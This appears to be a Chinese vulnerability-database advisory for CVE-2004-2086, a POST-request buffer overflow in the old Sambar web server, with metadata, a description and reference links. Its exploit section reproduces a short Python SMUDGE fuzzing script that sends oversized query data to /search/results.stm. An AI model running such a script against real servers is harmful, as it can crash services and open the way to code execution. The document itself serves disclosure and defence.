Sambar Server Results.STM Post请求缓冲区溢出漏洞

Sambar Server Results.STM Post请求缓冲区溢出漏洞

漏洞ID 1107702 漏洞类型 边界条件错误
发布时间 2004-02-09 更新时间 2005-10-20
图片[1]-Sambar Server Results.STM Post请求缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-2086
图片[2]-Sambar Server Results.STM Post请求缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200402-028
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/23664
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200402-028
|漏洞详情
SambarServer运行于MicrosoftWindows9x/ME/NT/2000操作系统上的多线程Web服务器程序。SambarServer在处理部分POST数据时缺少充分的边界缓冲区检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击。问题是对Results.STMPost请求缺少充分检查,提交超多数据可触发缓冲区溢出,精心构建提交数据可能以服务进程权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/9607/info

A buffer overflow vulnerability has been reported in the Sambar web server. The issue is due to a boundary condition error in the POST data processing of the affected software.

Immediate consequences of an attack may result in a denial of service condition. It may also be possible for the attacker to manipulate process memory and execute arbitrary code in the context of the vulnerable process.

# http://felinemenace.org/~nd/SMUDGE
# Sambar script (c) [email protected]
from SMUDGE import *
import sys
sm = SMUDGE(1)

sm.setname("SambarOverflow")

sm.plain("POST /search/results.stm HTTP/1.1")
sm.addcrlf()
sm.plain("Host: MSUDGEDPU")
sm.addcrlf()
sm.plain("Content-Length: ")
sm.blocksize("postdata")
sm.addcrlf()
sm.addcrlf()
sm.putblock("postdata")
sm.addcrlf()
sm.addcrlf()

sm.newblock("postdata")
sm.updateblock("postdata","spage=0&indexname=docs&query=")
sm.blockvariable("postdata","MEEP")
sm.updateblock("postdata","&style=page")

sm.run("127.0.0.1",80,"topdown","single")
|参考资料

来源:www.sambar.com
链接:http://www.sambar.com/security.htm
来源:OSVDB
名称:5786
链接:http://www.osvdb.org/5786
来源:XF
名称:sambar-http-post-bo(15071)
链接:http://xforce.iss.net/xforce/xfdb/15071
来源:BID
名称:9607
链接:http://www.securityfocus.com/bid/9607
来源:VULN-DEV
名称:20040207Sambar6.0stackoverflow
链接:http://www.securityfocus.com/archive/82/353087
来源:SECTRACK
名称:1008979
链接:http://securitytracker.com/id?1008979

相关推荐: SUS Format String Vulnerability

SUS Format String Vulnerability 漏洞ID 1097921 漏洞类型 Input Validation Error 发布时间 2004-09-14 更新时间 2004-09-14 CVE编号 N/A CNNVD-ID N/A 漏洞…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享